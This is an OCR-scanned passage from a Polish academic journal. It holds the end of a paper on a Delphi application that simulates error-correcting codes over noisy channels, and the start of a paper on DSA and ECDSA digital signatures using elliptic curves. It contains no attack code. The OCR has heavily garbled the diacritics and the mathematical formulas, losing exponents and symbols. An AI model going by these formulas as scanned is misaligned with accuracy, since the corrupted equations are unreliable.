: transmisji

wiadomoséé przeksztalcona wiadomose cdebrana
do postaci cdpowiedniaj na wyjsciu kanatu
dla kanalu transmisj) moze zawieraé blgdy

Rys. 1. Schemat systemu komunikacji
Nastepne sekcje zawierajg oméwienie kluczowych elementéw systemu.

1.1. Zrédlo danych

Zrédlem danych nazywamy dowolny proces tworzacy sekwencje
symboli. Symbole te nalezg do okreslonego alfabetu, nazywanego alfa-
betem zrodta. W wypadku zastosowan opisywanych w niniejszej pracy
rozpatrywane s zrédia binarne, tworzace sekwencje bitéw. Zrodlem bi-
narnym moze by¢ zaréwno dowolne urzadzenie cyfrowe, jak réwniez plik
zawierajacy dane.

Aplikacja modelujaca system transmisji musi zawiera¢ implementa-
cje zrodta danych — zrédto losowe lub mozliwos¢ stosowania dowolnych,
rzeczywistych danych. Stworzenie implementacji Zrodla losowego wy-
maga jednak znajomosci rzeczywistej struktury danych tworzonych przez
modelowane Zrédla. Dane dotyczace przykladowych plikdw przedsta-
wiono narys. 2.



Wykrywanie | korygowanie bledoéw w danych binarnych 45

archiwum RAR
30,

& ]
£ 2 i
[ ] !
‘E 204
= 16
g 10
; BB s A T R e S i R
0. L . o ee b im e a— o b ——
0 32 64 95 128 160 182 224 255
wartosc¢ bajtu
plik multimedialny MOV
— 30;
& 2517 |
o ’
£ 20!
8 157
& 100 4
B 95 Tnadas oo e s
; g e

0 32 B4 96 128 180 182 224 255

wartosc bajtu

Rys. 2. Wewnetrzna struktura przykladowych plikow

Przeprowadzone badania wykazaly, ze pliki zaszyfrowane oraz silnie
skompresowane (RAR, ZIP, MP3) majg bardzo podobng struktur¢ —
wszystkie bajty wystepuja z niemal rdwng czestotliwoscig. Poniewaz wia-
$nie ten typ danych dominuje w transmisjach internetowych, jako model
zrodta losowego zaimplementowano pseudolosowy generator tworzacy
bajty z jednakowa czestotliwoscia. Mozliwa jest réwniez transmisja da-
nych o dowolnej strukturze — system pozwala na zastosowanie jako
Zrédia wybranego pliku.

1.2. Nadajnik

Glowna funkcja nadajnika jest przeksztalcenie danych pochodzacych
ze zrédta do postaci odpowiedniej dla uzywanego kanatu transmisji. W sys-
temach stosujacych ochrone transmitowanych danych nadajnik spelnia
réwniez role kodera — oblicza elementy kontrolne dla przesylanych danych.

Podczas symulowania procesu transmisji przeksztalcanie danych nie
jest konieczne. Dlatego jedyng funkcjg modutu aplikacji odpowiadaja-
cego nadajnikowi jest obliczanie sekwencji kontrolnych.

1.3. Kanal transmisji

Kanat transmisji to dowolne medium sluzace do przesylania danych.
W wypadku informacji cyfrowej moze to by¢ linia telefoniczna, lacze
swiatlowodowe c¢zy czgstotliwos¢ radiowa. Kazde z wymienionych po-
wyzej rodzajow kanalu transmisji jest podatny na zakldocenia elektroma-
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gnetyczne pochodzace z otoczenia czy nakladania si¢ sygnatow. Wplyw

czynnikéw zewngtrznych jest na obecnym poziomie technologii niemoz-

liwy do wyeliminowania, co jest przyczyna tworzenia programowych
metod ochrony informacji.

Matematyczne modele kanaloéw transmisji powstaly jako uogdlnienie
wynikéw badan nad ich wiasciwosciami i rodzajami powstajacych w nich
zaktocen. Najwazniejszymi modelami sa:

e binarny kanal symetryczny — bledy wystepujq niezaleznie z okreslo-
nym prawdopodobiefistwem, takim samym dla obu wartosci bitu;

e binarny kanat niesymetryczny — bledy wystepujq niezaleznie, z tym
ze prawdopodobienstwo ich wystgpienia zalezy od wartosci trans-
mitowanego bitu;

e dwustanowy model Gilberta — w kanale opisywanym tym modelem
wystepuja btedy seryjne o $redniej dtugosci zaleznej od zdefiniowa-
nych parametrow.

Przedstawiona w tym artykule aplikacja zawiera implementacje po-
wyzszych modeli kanatéw transmisji.

1.4. Odbiornik

Gléwng funkcjq odbiornika w aplikacji modelujacej system transmisji
jest weryfikowanie poprawnoséci danych na podstawie odebranych sekwen-
cji kontrolnych.

1.5. Odbiorca danych

Nazwa tg okresla sie zazwyczaj osobeg lub proces, dla ktérego dane sa
przeznaczone. Element taki nie jest koniecznym skladnikiem modelu sys-
temu transmisji, dlatego zostal zastapiony modulem sprawdzajacym po-
prawnos¢ zdekodowanych danych 1 podsumowujgcym otrzymane wyniki.

2. Aplikacja modelujgca system transmisji

Aplikacja modelujaca system transmisji powstata w srodowisku Del-
phi 5 Standard firmy Borland z zastosowaniem komponentéw nalezacych
do tej dystrybucji. Program ma budowg¢ modutowa. Dane pomigdzy ele-
mentami systemu sg przesylane za pomoca obiektéw TMemoryStream.
Strumien wyjsciowy kazdego elementu jest publicznie dost¢pny, co po-
zwala na polaczenie go z wejsciem nastgpnego elementu. Rol¢ nadajnika
1 odbiornika pelni jedna klasa. Interfejs aplikacji przedstawiono na rys 3.
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4 Model systemu !ianrnisi
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Rys. 3. Interfejs uzytkownika aplikacji ,, Model”

2.1. Typy pomocnicze

W aplikacji zaimplementowano dwie rodziny kodow blokowych,
zatem jednym z podstawowych typow jest reprezentant bloku danych za-
deklarowany jako

TBlock = array[l..255] of Boolean;

Zadeklarowano réwniez bufory o pojemnosdci 10 blokéw danych,
w notacji bajtowej i bitowej, majgce odpowiednio postaé:

TByte = array[l..2550] of Byte;

TBool = array[l..20400] of Boolean;

2.2. Klasa TFormComm

Klasa TFormComm stanowi podstawg wszystkich elementow systemu
komunikacji. Pozwala wszystkim elementom systemu na wypisywanie
komunikatéw o przebiegu ich dzialania do okna tekstowego aplikacji.

2.3. Klasa TSource

Klasa TSource stanowi model Zrédla danych. Umozliwia pseudo-
losowe generowanie danych wejéciowych oraz wezytanie do programu
danych z pliku. Nagtéwek klasy ma postaé:
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TSource = class (TFormComm)
public
output: TMemoryStream;
private
filename: String;
flag: Boolean;
range: LongInt;
public
constructor Create;
destructor Free;
procedure SetFileName (filename: String;
procedure SetFlag(flag: Boolean);
procedure SetRange (num: Longint);
procedure Run;
private
procedure RandomSource;
procedure FileSource;
end;

Zadeklarowane w tej klasie zmienne pelnia nastepujace funkcje:

output — strumien bajtowy, do ktérego zostang zapisane generowane przez
zrédio dane; zostanie on polaczony ze strumieniem wejsciowym kodera,
filename — nazwa pliku stanowigcego zrddio danych,

flag — zmienna logiczna okreslajaca rodzaj zrédla (jesli jest usta-
wiona, zrodlo generuje dane pseudolosowe; w przeciwnym wypadku
zostaje wezytany plik),

range — okresla liczbg bajtéw, jaka ma zosta¢ wygenerowana.

Funkcje metod klasy TSource:

® ¢ © © ¢ o © ©

Create — konstruktor, tworzy strumien wyjsciowy,

Free — destruktor, usuwa strumien,

SetFileName — pozwala na ustawienie nazwy pliku,

SetFlag — pozwala na ustawienie flagi,

SetRange — pozwala na ustalenie liczby generowanych bajtow,

Run — uruchamia zrédlo,

RandomSource — metoda generujgca pseudolosowy ciag bajtow,
FileSource - metoda pozwalajgca na wezytanie pliku do strumienia.

2.4. Klasa TCode

Klasa TCode jest klasg bazowa dla wszystkich metod kodowania

1 dekodowania danych. Obstuguje ona operacje niezwigzane bezposrednio
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z kodowaniem, ale przygotowuje bloki danych i obstuguje zdefiniowany
w aplikacji protokot transmisji. Ponizej opisano ten protokot.

Ze wzgledu na fakt, ze kody blokowe nie pracuja na pelnych bajtach,
konieczne sg dodatkowe operacje umozliwiajace prawidlowe odczytanie
zakodowanej informacji. Jesli otrzymana na wejsciu informacja nie jest
wielokrotnosceia dlugosci bloku danych, ostatni zakodowany blok musi
by¢ uzupelniony do pelnej dlugosci. Aby mozliwe bylo prawidiowe de-
kodowanie, dekoder musi zna¢ liczb¢ bitéw rzeczywistych danych
w ostatnim bloku (czesto konieczne jest rowniez rozszerzenie ciagu do
pelnych bajtéw, ale to nie stanowi problemu — dekoder po prostu wezy-
tuje wszystkie pelne wielokrotnosci dtugosci bloku, ignorujac uzupelnie-
nie.) Liczba ta jest przesylana trzykrotnie, jako trzy ostatnie bajty
komunikatu. Dekoder odbiera je i na tej podstawie ustala ilo$¢ danych
w ostatnim bloku. Jesli ta informacja ulegnie zakldceniu, zostanie przyje-
ta najbardziej prawdopodobna warto$¢ liczby, ustalona na podstawie
trzech otrzymanych wartosci. Nagtowek klasy TCode ma postac:

TCode = class (TFormComm)
public
encOutput, decOutput: TMemoryStream;
protected
encInput, decInput: TMemoryStream;
n, k;, xr; m; t: Word;
ByteB: TByte;
empty: Boclean;
cOps: Comp;
function Check(a,b,c: Byte) :Byte;
function ToBool (var BoolB: TBool; size: Integer):
Integer;
function ToByte (BoolB: TBool; size: Integer):
_ Integer;
function bufferEncode(size: Integer; var last:
Byte): Integer;
function bufferDecode (size: Integer; last: Byte):
Integer;
procedure get (var big: TBool; var small: TBlock:;
from, count: Integer);
procedure put (var big: TBool; var small: TBlock;
from, count: Integer);
procedure blockEncode (var block: TBlock);
virtual; abstract;
procedure blockDecode (var block: TBlock);
virtual; abstract;
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public
constructor Create;
destructor Free;
procedure connectToEncoder (src: MemoryStream);
procedure connectToDecoder (src: MemoryStream);
procedure Encode;
procedure Decode;

end;

Zadeklarowane w tej klasie zmienne pelnia nastepujace funkcje:

encOutput, decOutput — strumienie wyjsciowe kodera i dekodera, od-
powiednio,

n, k, r, t, m ~ liczby okreslajgce wspotczynniki kodow,

ByteB — bufor, do ktérego sg wczytywane dane z wejscia przed ob-
rébka i do ktdrego trafiaja po obrdbcee,

empty — warto$¢ wskazujgca, czy wybrano opcje ,,bez kodowania”,
¢Ops — zmienna, ktérej warto$¢ odpowiada liczbie wykonanych pod-
czas kodowania i dekodowania operacji arytmetycznych i logicznych.

Prywatne metody klasy TCode wykonuja nastgpujace zadania:

Check — ustala najbardziej prawdopodobna liczbg danych w ostatnim
bloku; jest czgscig protokotu transmisji,

ToBool — zamienia reprezentacje bajtowa na bitowa,

ToByte — zamienia reprezentacj¢ bitowa na bajtowa,

bufferEncode — koduje wezytany bufor (dzieli na bloki, wywoluje
dla nich metod¢ BlockEncode, przeksztalca zakodowane bloki na
ciag bajtow, zgodnie z protokotem),

bufferDecode — dekoduje wczytany bufor,

get — pobiera z bufora bitowego blok danych,

put — zapisuje do bufora bitowego blok danych,

blockEncode — abstrakcyjna metoda kodujaca pojedynczy blok; nad-
pisana w klasach potomnych,

blockDecode — abstrakcyjna metoda kodujaca pojedynczy blok;
nadpisana w klasach potomnych.

Publiczne metody klasy TCode wykonuja nastgpujace zadania:

Create — konstruktor, tworzy strumienie wyjsciowe, zeruje licznik
operacji,
Free — destruktor, usuwa strumienie, wypisuje liczbe operacji,
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e connectToEncoder — taczy wyjscie zrodla z koderem,

e connectToDecoder — laczy wyjscie kanahu z koderem,

e Encode — pobiera dane do bufora i po zakodowaniu zapisuje do stru-
mienia wyjSciowego; dodaje informacje o niepelnym bloku,

e Decode — pobiera dane do bufora i po zdekodowaniu zapisuje do
strumienia wyjsciowego; obstuguje informacje o niepetnym bloku.

Po klasie TCode dziedzicza klasy Tbch i THamming implementu-
jace kody BCH i Hamminga odpowiednio. Wigcej informacji o tych ro-
dzinach kodéw mozna znaleZ¢ w publikacjach [1] 1 [2].

2.5. Klasa TChannel

Klasa TChannel symuluje osrodek transmisji danych z wystepuja-
cymi w nim zakt6ceniami. Trzy metody tej klasy odzwierciedlajg trzy roz-
ne modele kanaléw transmisji. Nagldwek tej klasy wyglada nastepujaco:

TChannel = class (TFormComm)
output: TMemoryStream;

private
input: TMemoryStream;
probErr,

prob0l, problO,
probGB, probBG: Double;
state: Boolean;
errors: Integer;
error: Function(a: Byte): Byte of Object;
public
constructor Create;
destructor Free;
procedure Connect (src: TMemoryStream);
procedure Run(channel: String):;
procedure InitSymmetric(probErr: Double);
procedure InitAsymmetric(prob0l, probl0O: Double);
procedure InitGilbert (probErr, probGB, probBG:
Double) ;
function Symmetric(a: Byte): Byte;
function Asymmetric(a: Byte): Byte;
function Gilbert(a: Byte): Byte;
end;

Funkcja Connect tworzy polaczenie ze strumieniem wyj$ciowym
kodu. W zaleznosci od wybranego rodzaju kanatu obiekt jest inicjowany
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za pomocq innej funkcji. Funkcje Symmetric, Asymmetric i Gil-
bert wprowadzajq do podanego bajtu zakidcenia zgodnie ze zdefinio-
wanymi prawdopodobienstwami.

2.6. Klasa TReceiver

Klasa TReceiver podsumowuje proces transmisji — oblicza bledy
w odebranych danych i skuteczno$¢ kodu. Nagltéwek klasy ma postaé:

TReceiver = class (TFormComm)
private

fromSource, fromCode: TMemoryStream;
public
constructor Create;
destructor Free;
procedure Connect(a, b: TMemoryStream);
procedure Report (coded: Boolean):;
end;

Obiekt TReceiver pobiera dane pochodzace z dwéch strumieni —
z dekodera i ze Zrodta. Funkcja Connect laczy go z tymi strumieniami,
za$ Report oblicza podsumowanie i prezentuje wynik uzytkownikowi.

Podsumowanie

Przedstawiona w tym artykule aplikacja pozwala na wielokrotne te-
stowanie metod ochrony informacji w identycznych warunkach, co po-
zwala na jednoznaczng oceng ich skutecznosci i przydatnosci w konkret-
nych zastosowaniach. Obiektowa budowa programu umozliwia latwg roz-
budowe, dzigki czemu jest on narzedziem o duzych perspektywach
rozwojowych.
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Podpis cyfrdwy
na podstawie teorii krzywych eliptycznych

Marcin Plonkowski

Podpis cyfrowy jest odpowiednikiem rgcznego sposobu podpisywa-
nia dokumentéw. Dotyczy on dokumentéw przesylanych w formie elek-
tronicznej. Wymagania wobec tegoz podpisu sg takie same jak w wypad-
ku tradycyjnego, odrecznego sposobu uwiarygodniania dokumentéw.
Mianowicie od podpisu cyfrowego wymaga si¢:

e zapewnienia autentyczno$ci dokumentu — pozwala wykry¢é kazda
nieautoryzowang zmiang tresci dokumentu,

e identyfikacje nadawcy — dokument moglt zosta¢ podpisany tylko
przez osobg¢ posiadajaca unikatowy klucz prywatny,

e niezaprzeczalno$¢ — nadawca dokumentu nie moze wyprzeé sie pod-
pisu ztozonego pod dokumentem.

Podpis cyfrowy realizuje si¢ z wykorzystaniem metod kryptografii
asymetrycznej. Stuzy do tego para kluczy. Pierwszy z nich — klucz pry-
watny (znany tylko nadawcy) — shuzy do sktadania podpisu, drugi — zwa-
ny kluczem publicznym (ogélnie dostgpny) — stuzy do weryfikacji podpi-
su. Aby podpisaé¢ wiadomos¢ M, nadawca, uzywajac swojego klucza pry-
watnego, szyfruje M. Wiadomo$¢ jest wysylana wraz z podpisem. Osoba
weryfikujaca wiadomos¢ deszyfruje podpis, uzywajac klucza publicznego
nadawcy. Jezeli wiadomo$¢ wystana przez nadawce jest identyczna
z wiadomoscia otrzymang z deszyfracji podpisu, to:

e w dokumencie nikt nie dokonal nieautoryzowanych zmian,

e nadawcy tego dokumentu jest osoba, do ktérej nalezal klucz pu-
bliczny, gdyz tylko ona posiada pasujacy do niego klucz prywatny,

e nadawca nie moze wyprze¢ si¢ wystania wiadomosci.
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Podpis skladany ta metoda ma jedng zasadnicza wade. Mianowicie
jest on mniej wigcej tak dhugi jak podpisywany dokument. Aby zmniej-
szy¢ dtugos¢ podpisu dokumentu wykorzystuje si¢ funkcje skrétu [1].

Definicja 1 [1]

Funkcjq skrotu (hash function) nazywamy efektywna obliczeniowo
funkcje odwzorowujacg ciagi binarne o dowolnej diugosci na ciagi bi-
narne o ustalonej dhugosci.

W kontekscie zastosowan kryptograficznych rozwaza si¢ nastgpujace
rodzaje funkcji skrétu:

e funkcja skrétu h jest stabo bezkonfliktowa, jezeli dla danego x nie
jest praktycznie mozliwe znalezienie elementu x’ roznego od x ta-
kiego, ze h(x) = h(x*),

o funkcja skrétu h jest silnie bezkonfliktowa, jezeli nie jest praktycznie
mozliwe znalezienie dwoch réznych elementéw x i1 x° takich, ze
h(x) = h(x’),

o funkcja skrétu h jest jednokierunkowa, jezeli dla danego y nie jest
praktycznie mozliwe znalezienie x takiego, ze h(x) =y.

Drugi warunek jest wzmocnieniem pierwszego oraz warunek trzeci
wynika z drugiego. Tak wiec drugi warunek jest najsilniejszy i jest on ko-
nieczny w funkcjach skrétu stosowanych do celéw kryptograficznych.

1. Generowanie podpisu z wykorzystaniem funkeji skrétu

Metoda generowania podpisu z wykorzystaniem funkcji skrétu wy-
glada nastepujaco. Nadawca, chcac podpisaé wiadomosé M, oblicza war-
to$¢ funkcji skrétu dla M. Nastgpnie podpisuje za pomocg swojego
prywatnego klucza warto$¢ funkcji skrotu. Odbiorca, ktory chece zweryfi-
kowaé podpis, deszyfruje go za pomocg klucza publicznego nadawcy.
Nastepnie oblicza wartos¢ funkcji skrétu dla otrzymanej wiadomosci M
i porownuje te wartosci. Dzigki wykorzystaniu funkcji skrétu mozemy
podpisa¢ dokument i zweryfikowa¢ go, nie zdradzajac tresci dokumentu.

2. Algorytm DSA

Tworzenie podpisu w oparciu o algorytm DSA odbywa si¢ w naste-
pujacy sposoéb [3]:



Podpis cyfrowy na podstawie teorii krzywych eliptycznych 55

) ¢

....E\)

Generowanie kluczy wykorzystywanych przy podpisywaniu doku-
mentow metodg DSA odbywa si¢ wedlug nastepujacego algorytmu:
nadawca wybiera liczbe pierwsza q taka, ze 2'>° < q < .

wybiera t spetniajace warunek 0 <t < 8,

wybiera liczbe pierwsza p taka, ze 2> < p < 2312 a7 q dzieli p-1,
(wybiera generator g grupy cyklicznej rzedu q w Z*p)

I) wybieraelementb € Z', i oblicza g: = b®"9 mod p,

IT) jesli g = 1, to przejdz do I),

wybiera losowo liczbe a taka, ze 1 <a < g-1,

oblicza y: = g* mod p,

kluczem publicznym jest czworka (p, q, g, ¥),

kluczem prywatnym a.

Generowanie podpisu metoda DSA opisuje ponizszy algorytm:
nadawca wybiera losowo tajng liczbe catkowita k taka, ze 0 <k < q,
oblicza r: = (g* mod p) mod q,

oblicza k™ mod q,

oblicza s: = k™ (h(m)+ar) mod q.

Nadawca wysyta m i jej podpis (r, s).

Osoba cheaca zweryfikowaé podpis musi skorzystaé z nastgpujacego
algorytmu:

odbiorca sprawdza czy 0 < r < q i 0 < s <q; jesli nie, to podpis
zostaje odrzucony,

oblicza w: = s mod q i oblicza h(m),

oblicza u: = w-h(m) mod q i v: =r-w mod q,

oblicza z := (g"y' mod p) mod q,

jesli z=r, to podpis akceptujemy, w przeciwnym wypadku odrzu-
camy.

Dowdd poprawnosci podpisu: Jezeli para (r, s) jest podpisem wiado-
mosci m, to h(m) = -ar + ks (mod q). Mnozac powyzsza kongruen-
cj¢ przez w otrzymujemy w-h (m) = -arw + k (mod q). Stad otrzy-
mujemy u + av = k (mod q). Podnoszac g do obu stron tej kongruen-
¢ji, otrzymujemy (g"y' mod p) mod q = (g“ mod p) mod q. Ozna-
czato,2€ Z=T.
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3. Ataki na systemy podpiséw cyfrowych

Celem ataku na podpis cyfrowy jest podrobienie go. Mozliwe jest to

w wypadku, gdy [6]:

e osoba niepowotana (intruz) jest zdolna do podrobienia podpisu przy-
najmniej dla jednej wiadomosci,

e intruz jest zdolny do wygenerowania podpisu dla szczegélnych
wiadomosci lub klasy wybranych wiadomosci,

e intruz jest w stanie wygenerowac podpis dla kazdej wiadomosci badz
znalez¢ skuteczny algorytm funkcjonalnie réwnowazny stosowa-
nemu algorytmowi podpisywania wiadomosci.

Istniejg dwie podstawowe metody ataku na podpis cyfrowy:

intruz zna tylko klucz publiczny nadawcy,

intruz moze dokonaé analizy podpiséw odpowiadajacych badz zna-
nym, badZ wybranym wiadomosciom.

W drugim wypadku mozemy wyrdznic¢ trzy klasy atakow:

e intruz posiada podpisy dla zbioru wiadomosci, ktére sq mu znane, ale
nie wybrane przez niego,

e intruz jest w stanie pozyska¢ wazne podpisy dla wybranych
wiadomosci, zanim przystapi do calkowitego zlamania schematu; ten
typ ataku jest nieadaptacyjny w tym sensie, ze wiadomosci wybrano,
zanim intruz wszedl w posiadanie ich podpisu,

e adaptacyjny atak poprzez tekst wybrany — intruz jest w stanie wyko-
rzystywaé podpisujacego jako wyrocznig; intruz moze zadac¢ podpi-
sow wiadomosci, ktdre zalezg od poprzednio otrzymywanych podpi-
séw lub wiadomosci — jest to najtrudniejszy typ ataku, jednak dobrze
zaprojektowany schemat podpisu cyfrowego powinien by¢ na taki
atak odporny.

N

4. Krzywe eliptyczne

W ostatnich latach (poczawszy od 1985 r.) teoria krzywych eliptycz-
nych znalazla zastosowanie w takich problemach kryptograficznych, jak
rozklad liczb catkowitych na czynniki pierwsze, testy pierwszosci i kon-
strukcja kryptosysteméw. Jednym z gléwnych powodéw zainteresowania
kryptologii teorig krzywych eliptycznych jest to, ze sg one zrdédtem ol-
brzymiej liczby grup skonczonych, cechujacych sie bogatg strukturg alge-
braiczng [4].
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Grupy punktéw krzywych eliptycznych sg w wielu aspektach podob-
ne do grup multiplikatywnych ciat skoficzonych, ale ich przewaga polega
na tym, ze istnieje wigksza swoboda w wyborze krzywej eliptycznej niz
w wyborze ciala skonczonego.

Drugim waznym powodem jest brak znanych algorytméw rozwia-
zywania problemu logarytmu dyskretnego w grupie punktéw krzywej
eliptycznej dzialajacych w czasie szybszym niz wykladniczy (co jest
mozliwe dla grup multiplikatywnych ciala skoniczonego).

5. Réwnanie krzywej eliptycznej

Krzywg eliptycznag E nad cialem IF nazywamy krzywa zadang row-
naniem postaci:

Y2+ a XY +a3Y =X+ ,X2 +a4X +ag, aic F (1)

Przez E(IF) oznaczymy zbidr zlozony z punktéw (x,y) € [F 2 ktérych
wspotrzedne spetniaja powyzsze réwnanie, oraz punktu w nieskonczono-
sci oznaczanego przez O.

Czyli [2] ;
E(F): = {(x,y) € FZ ¥ +ajxy + azy =X° + 3%’ + asx + g, ai€ F }U{O}

Jezeli K jest rozszerzeniem ciala [, to E(K) jest zbiorem punktéw
(x, y) € K? spetniajacych réwnanie (1) i punktu O.

Aby krzywa dana rownaniem (1) byla krzywg eliptyczna, musi by¢
gladka.

Oznaczmy przez f(x, y) = 0 réwnanie (1) okreslajace w sposéb uwi-
klany y jako funkcje zmiennej x, wtedy f(x, y) =y* + axy + asy - X =
A2X° - 44X - ag.

Punkt (x,y) € E(F ) (edzie P oznacza algebraiczne domknigcie IF)
lezacy na krzywej jest punktem gladkim (lub nieosobliwym), jezeli przy-
najmniej jedna pochodna czastkowa of/0x, of/dy jest w tym punkcie rézna
od zera. Oznacza to, ze rOwnania

a[y=3x2+2a2x+a4, 2y tax+a3;=0

nie sg rownoczesnie spetnione przez zaden punkt (x, y) € E(IF i 7
Jezeli charakterystyka ciata [F jest r6zna od 2, to bez straty og6lnosci
mozemy przyjac, ze a; = az = 0. Czyli rownanie (1) przyjmie postac:

y2=x3+a2x2+a4x+a5 (2)
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W wypadku, gdy charakterystyka I jest rowna 2, mamy tzw. krzywe
supersingularne, jezeli lewa strona jest rowna y~ + asy, oraz krzywe
niesupersingularne, gdy lewa strona jest réwna y* + a;xy. W ostatnim
wypadku bez straty ogélno$ci mozemy zalozyé, ze a; = 1. Gdy
charakterystyka IF jest rowna 2, to mozemy rowniez zakladac, ze a; =0 w
wypadku supersingularnym oraz a4 = 0 w wypadku niesupersingularnym.

Jezeli charakterystyka IF jest rozna od 2 i 3, to mozemy, stosujac li-
niowq zamiang zmiennych (x — x - %ag), po prawej stronie réwnania po-

zby¢ sie x*. Tak wiec bez straty ogo6lnosci mozemy zakladaé, ze krzywa
dana jest rOwnaniem postaci:

y’=x+ax+b,abeF, char F=2, 3. 3)

W tym wypadku warunek gtadkosci krzywej jest rOwnowazny temu,
ze wielomian wystgpujacy po prawej stronie réwnania (3) nie ma
pierwiastkéw wielokrotnych. Jest to spelnione wtedy i tylko wtedy, gdy
wyréznik — (4a® + 27b%) wiclomianu x° + ax + b jest rozny od zera [2].

6. Grupa abelowa punktéw krzywej eliptycznej

Podstawowa wiasnoscia punktéw krzywej eliptycznej jest to, ze two-
rza one grup¢ abelowa. Dla kazdego rozszerzenia KK ciata [F zbiér E(K)
tworzy grupe abelowa, w ktorej elementem neutralnym jest Q. Dzialanie
+ okreslamy w sposéb opisany ponizej.

Definicja 2 [4]:

Niech E bedzie krzywa eliptyczng nad ciatem liczb rzeczywistych
iniech P i Q beda dwoma punktami tej krzywej. Definiujemy punkt prze-
ciwny do P i sume P + Q w nastepujacy sposéb:

1. Jezeli P jest punktem w nieskonczonosci O, to definivjemy —-P = Q
oraz P + Q = Q, czyli punkt O jest elementem neutralnym dzialania +.

W dalszym ciagu bgdziemy zakladaé, ze ani P, ani Q nie jest punktem

w nieskonczonosci.

2. Element -P przeciwny do P jest to punkt o tej samej wspdlrzednej x co

P, ale o przeciwnej wspolrzednej y, tzn. (X, y) = (X, -y). Z réwnania

(3) wynika, Ze jezeli punkt (X, y) lezy na krzywej, to punkt (x, -y) tez

lezy na tej krzywej. Jezeli Q = -P, to przyjmujemy P + Q = O.

3. Jezeli punkty P i Q maja r6zne wspdlrzedne x, to prosta [ = PQ prze-
cina krzywa w jeszcze jednym punkcie R (chyba, ze [ jest styczna do
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krzywej w punkcie P i wowczas przyjmujemy R = P lub jest styczna
w punkcie Q i wtedy przyjmujemy R = Q). Nastepnie jako P + Q
przyjmujemy —R. Punkt ten jest symetryczny wzgledem osi x do
trzeciego punktu przecigcia.

4. Ostatnig mozliwoscig jest P = Q. Niech prosta / bedzie styczng do
krzywej w punkcie P i niech R bedzie jedynym punktem przecigcia
prostej / z krzywa, r6znym od P. W tedy definiujemy P + Q = -R
(punkt R pokrywa si¢ z P, jezeli styczna jest w P ,,Podwojnie
styczna”, tzn. P jest punktem przegiecia).

Teoria krzywych eliptycznych znajduje zastosowanie w takich pro-
blemach, jak:

e kodowanie tekstow otwartych,

systemy wymiany kluczy i przesytania wiadomosci,
testy pierwszosci,

rozktad liczb na czynniki,

podpis cyfrowy.

7. Zastosowanie krzywych eliptycznych
w tworzeniu podpisu cyfrowego

Zostanie teraz opisany podpis cyfrowy generowany na podstawie
teorii krzywych eliptycznych analogiczny do uzywanego w USA podpisu
cyfrowego DSA (w skrocie oznaczany ECDSA). ECDSA jest gleboko
analizowany przez komitety standaryzacyjne kilku organizacji i mozliwe,
ze wkrotce zostanie on uznany za standard wobec DSA [2].

7.1. Generowanie kluczy w ECDSA

Dla uproszczenia bgdziemy uzywac krzywej eliptycznej zdefiniowa-
nej nad ciatem prostym IF,, cho¢ cata konstrukcja moze by¢ fatwo przy-
stosowana do innych cial skonczonych. Niech E bedzie krzywa eliptycz-
na zdefiniowana na cialem IF, oraz niech P bedzie punktem rz¢du pierw-
szego q w E(IFy). Podobnie jak w systemie DSA q nie oznacza potggi p,
ale inng liczbe pierwsza. W odréznieniu jedna od DSA, gdzie q jest o
wiele mniejsze od p, w algorytmie ECDSA liczby p 1 q sq mniej wiecej
tej samej wielkoéci. Uzytkownik A wybiera losowo liczbe x z przedziatu
1 <x <q-11ioblicza Q = xP. Kluczem publicznym uzytkownika A jest
Q, zas kluczem prywatnym x.
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7.2. Tworzenie podpisu wiadomosci w ECDSA

Nadawca A, ktéry chee podpisa¢ wiadomosé, postgpuje wedhug na-

stepujacego algorytmu [2]:

1. Wybiera losowo liczbg k z przedzialu 1 <k <q-1.

2. Oblicza kP i r = x; (mod q) (oznacza to, Ze x; jest traktowane jako

liczba z przedzialu od 0 do p — 1 i oblicza sig reszt¢ z dzielenia x;

przez q). Jezeli r = 0, to nalezy powréci¢ do kroku 1, gdyz wtedy

réwnanie definiujace podpis s = k ~'(H(m) + xr) mod q nie zalezy

od klucza prywatnego x i dlatego jest niewlasciwg wartoscig dla r.

Oblicza k™' mod q.

4. Oblicza s = K'(H(m) + xr) mod q, gdzie H(m) jest skrotem
wiadomosci m. Jesli s = 0, to nalezy powrdci¢ do kroku 1, gdyz
warto$é s mod q wykorzystywana w kroku 3 algorytmu spraw-
dzania podpisu nie istnieje. Jezeli liczb¢ k wybieramy losowo, to
prawdopodobienstwo tego, ze r = 0 lub s = 0, jest pomijalnie male.

5. Podpisem wiadomosci m jest para (r, s).

(IS

7.3. Weryfikacja podpisu w ECDSA

Odbiorca B, chcac zweryfikowaé podpis (r, s) nadawcy A, postepuje
nastepujaco [2]:
Uzyskuje poswiadczong kopie klucza publicznego nadawcy A Q.
Sprawdza, czy r i s sg liczbami catkowitymi z przedziatu [1, q — 1].
Obliczaw =s ' mod q i H(m).
Oblicza u; = H(m)w mod q i u; = rw mod q.
Oblicza u;P + u2Q = (Xg, yo) i v = xp mod q.
Akceptuje podpis, gdy v = r, w przeciwnym wypadku odrzuca go.

AN WD -

Gléwna réznicg migdzy ECDSA a DSA jest sposob generowania r.
W DSA bierzemy losowa potege (a* mod p) i redukujemy ja modulo q,
tak aby otrzymac liczbe z przedziatu [1, q — 1]. W algorytmie ECDSA
generujemy liczbg r z przedziatu [1, g — 1], wybierajac wspotrzedna x lo-
sowej wielokrotno$ci kP i redukujgc ja modulo q.

Aby osiggnac stopien bezpieczenstwa pordwnywalny z algorytmem
DSA, parametr q musi mie¢ okoto 160 bitdéw. W tym wypadku podpis
w DSA 1 ECDSA ma t¢ samg dtugos¢.

W wypadku algorytmu ECDSA nie musimy w calym systemie uzy-
wac tej samej krzywej E 1 punktu P; kazdy z uzytkownikéw moze wybraé
sam wiasng krzywa E i punkt P. W takim wypadku réwnanie definiujace
krzywa E punkt P oraz rzad punktu q punktu P nalezy dotaczy¢ do klucza
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publicznego. Jezeli cialo IF, jest ustalone, to tak mozna skonstruowaé
hardware i software, aby zoptymalizowa¢ obliczenia w ciele bazowym.
W tym wypadku kazdy uzytkownik systemu ma olbrzymie mozliwosci
wyboru krzywej E nad ustalonym cialem [F,,.

8. Implementacja podpisu cyfrowego

Oprogramowanie zawierajace takg implementacje sktada si¢ z trzech
zasadniczych czesci:

1. oprogramowania do generowania kluczy (publicznego i prywatnego),

2. oprogramowania do tworzenia podpisu,

3. oprogramowania do weryfikacji ztozonego podpisu.

Caty pakiet zostat napisany w jezyku C++. Jezyk ten zostal wybrany
ze wzgledu na liczne zalety, z ktérych mozna wymieni¢:

1. jest "o jezyk w pelni oblektowy, co daje ogromne mozliwos$ci pro-
